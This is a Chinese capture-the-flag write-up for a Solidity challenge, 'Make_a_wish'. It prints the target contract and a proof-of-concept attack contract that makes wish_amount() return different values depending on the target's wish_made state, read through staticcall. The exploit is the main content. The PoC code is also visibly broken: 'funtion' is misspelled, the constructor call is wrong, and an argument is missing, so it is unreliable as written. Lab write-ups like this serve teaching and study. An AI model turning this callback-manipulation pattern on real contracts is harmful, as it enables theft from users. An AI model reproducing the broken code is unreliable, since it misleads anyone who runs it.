心想事成
考察的主要是关于wish_made(address)这个映射的变化从而让三元运算符给出不同的值,然后完成题目的要求通过这个题目。需要注意的是我们调用的地址需要时EOA的地址不是攻击合约的地址。
(其中这个是按照正常逻辑来的,更高深的一点就是按照我们的staiticall绕过漏洞)
目标合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
interface Wish_Maker { function wish_amount() external view returns (uint256); }
contract Make_a_wish { address public owner; mapping(address => bool) public started; mapping(address => uint256) public wishes; mapping(address => bool) public wish_made;
modifier challenge_started() { require(started[tx.origin] == true, "Challenge not initialized."); _; }
modifier remains_wish() { require(wishes[tx.origin] > 0, "No wishes remaining."); _; }
modifier onlyOwner() { require(owner == msg.sender, "Only the owner can close the challenge."); _; }
constructor() { owner = msg.sender; }
function start_challenge() public { require( started[tx.origin] == false, "Can't start challenge when it's open." ); started[tx.origin] = true; wishes[tx.origin] = 1; }
function end_challenge(address addr) public onlyOwner { started[addr] = false; wishes[addr] = 0; wish_made[addr] = false; }
function wish_making() external challenge_started remains_wish { Wish_Maker wish_maker = Wish_Maker(msg.sender); bool is_less_than = false; if (wish_maker.wish_amount() < 1) { is_less_than = true; } wish_made[tx.origin] = true; if (is_less_than) { wishes[tx.origin] = wish_maker.wish_amount(); } else { wishes[tx.origin]--; } }
function regret() external challenge_started { wishes[tx.origin] = 1; wish_made[tx.origin] = false; }
function is_solved(address addr) public view returns (bool) { return wishes[addr] > 1 ? true : false; } }
|
Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity ^0.8.0;
import {Wish_Maker} from "../src/contract.sol"; // 导入接口 import {Make_a_wish} from "../src/contract.sol"; // 导入目标合约//0x9a4A301d0C9330F45b29D4877fFD39435A1f3e74 import {Script} from "forge-std/Script.sol";
contract Hack is Make_a_wish { Make_a_wish public target;
constructor(address addr) { target = Make_a_wish(addr); }
function wish_amount() external view returns (uint256) { address Eoa_addr = 0x949AC2C16Ea7B0B003927Db532908Fc97090d9E5; (bool success, bytes memory data) = address(target).staticcall( abi.encodeWithSignature("wish_made(address)", Eoa_addr) ); require(success, "Failed to read target state");
bool wishMade = abi.decode(data, (bool)); return wishMade ? 2 : 0; }
function attack() external { target.regret(); target.wish_making(); } }
contract Attack is Script, Hack { funtion run() external{ vm.startBroadcast(); Hack hack = new hack(); hack.attack(); vm.stopBroadcast(); } }
|